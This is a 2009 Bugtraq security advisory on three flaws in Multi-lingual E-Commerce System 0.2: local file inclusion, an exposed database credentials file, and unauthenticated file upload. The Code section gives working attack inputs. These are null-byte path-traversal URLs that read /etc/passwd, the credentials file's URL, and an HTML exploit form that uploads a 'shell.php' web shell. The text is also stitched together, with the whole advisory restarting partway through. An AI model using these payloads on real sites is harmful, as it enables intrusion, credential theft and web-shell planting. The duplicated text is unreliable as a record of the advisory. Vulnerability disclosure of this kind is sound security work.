Multi-lingual E-Commerce System 0.2 Multiple Remote Vulnerabilities
- To: Bugtraq <bugtraq@xxxxxxxxxxxxxxxxx>, str0ke <str0ke@xxxxxxxxxxx>
- Subject: Multi-lingual E-Commerce System 0.2 Multiple Remote Vulnerabilities
- From: "Salvatore \"drosophila\" Fresta" <drosophilaxxx@xxxxxxxxx>
- Date: Sun, 19 Apr 2009 17:31:40 +0200
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******* Salvatore "drosophila" Fresta *******
[+] Application: Multi-lingual E-Commerce System
[+] Version: 0.2
[+] Website: http://sourceforge.net/projects/mlecsphp/
[+] Bugs: [A] Local File Inclusion
[B] Information Disclosure
[C] Arbitrary File Upload
[+] Exploitation: Remote
[+] Date: 19 Apr 2009
[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@xxxxxxxxx
*************************************************
[+] Menu
1) Bugs
2) Code
3) Fix
*************************************************
[+] Bugs
- [A] Local File Inclusion
[-] Risk: hight
[-] File affected: index.php
This bug allows a guest to include local files.
The following is the vulnerable code:
...
if (isset($_GET['lang'])) { $_SESSION['lang'] = $_GET['lang'];}
...
<?
include($include_path.'/inc/'.$_GET['page'].'-'.$_SESSION['lang'].'.php');
?>
...
- [B] Information Disclosure
[-] Risk: medium
[-] File affected: database.inc
This file contains reserved informations such as
the username and the password for connecting to
the database. Using .inc extension only, the
content is visible.
- [C] Arbitrary File Upload
[-] Risk: medium
[-] File affected: product_image.php
In the admin directory there are no files that
check if the user has admin privileges. For this
reason a guest can execute the files contained in
this directory. product_image.php contains a form
that allows to upload files on the system but
does not contain functions that check the files
extensions, however a user can upload arbitrary
files.
*************************************************
[+] Code
- [A] Local File Inclusion
http://www.site.com/path/index.php?page=../../../../../etc/passwd
******* Salvatore "drosophila" Fresta *******
[+] Application: Multi-lingual E-Commerce System
[+] Version: 0.2
[+] Website: http://sourceforge.net/projects/mlecsphp/
[+] Bugs: [A] Local File Inclusion
[B] Information Disclosure
[C] Arbitrary File Upload
[+] Exploitation: Remote
[+] Date: 19 Apr 2009
[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@xxxxxxxxx
*************************************************
[+] Menu
1) Bugs
2) Code
3) Fix
*************************************************
[+] Bugs
- [A] Local File Inclusion
[-] Risk: hight
[-] File affected: index.php
This bug allows a guest to include local files.
The following is the vulnerable code:
...
if (isset($_GET['lang'])) { $_SESSION['lang'] = $_GET['lang'];}
...
<?
include($include_path.'/inc/'.$_GET['page'].'-'.$_SESSION['lang'].'.php');
?>
...
- [B] Information Disclosure
[-] Risk: medium
[-] File affected: database.inc
This file contains reserved informations such as
the username and the password for connecting to
the database. Using .inc extension only, the
content is visible.
- [C] Arbitrary File Upload
[-] Risk: medium
[-] File affected: product_image.php
In the admin directory there are no files that
check if the user has admin privileges. For this
reason a guest can execute the files contained in
this directory. product_image.php contains a form
that allows to upload files on the system but
does not contain functions that check the files
extensions, however a user can upload arbitrary
files.
*************************************************
[+] Code
- [A] Local File Inclusion
http://www.site.com/path/index.php?page=../../../../../etc/passwd %00
http://www.site.com/path/index.php?lang=/../../../../../../etc/passwd %00
- [B] Information Disclosure
http://www.site.com/path/admin/inc/database.inc
- [C] Arbitrary File Upload
<html>
<head>
<title>Multi-lingual E-Commerce System 0.2 Arbitrary File Upload
Exploit</title>
</head>
<body>
<form enctype="multipart/form-data"
action="http://site/path/admin/product_image.php"; method="POST">
<label for="product">Valid product ID:</label><br>
<input type="text" name="product" value="1"><br>
<label for="file_name">Evil file name:</label><br>
<input type="text" name="file_name" value="/shell.php"><br>
<label for="userfile">File:</label>
<input name="userfile" type="file">
<input type="hidden" name="file_path"><br><br>
<input type="submit" value="Upload">
</form>
</body>
</html>
*************************************************
[+] Fix
No fix.
*************************************************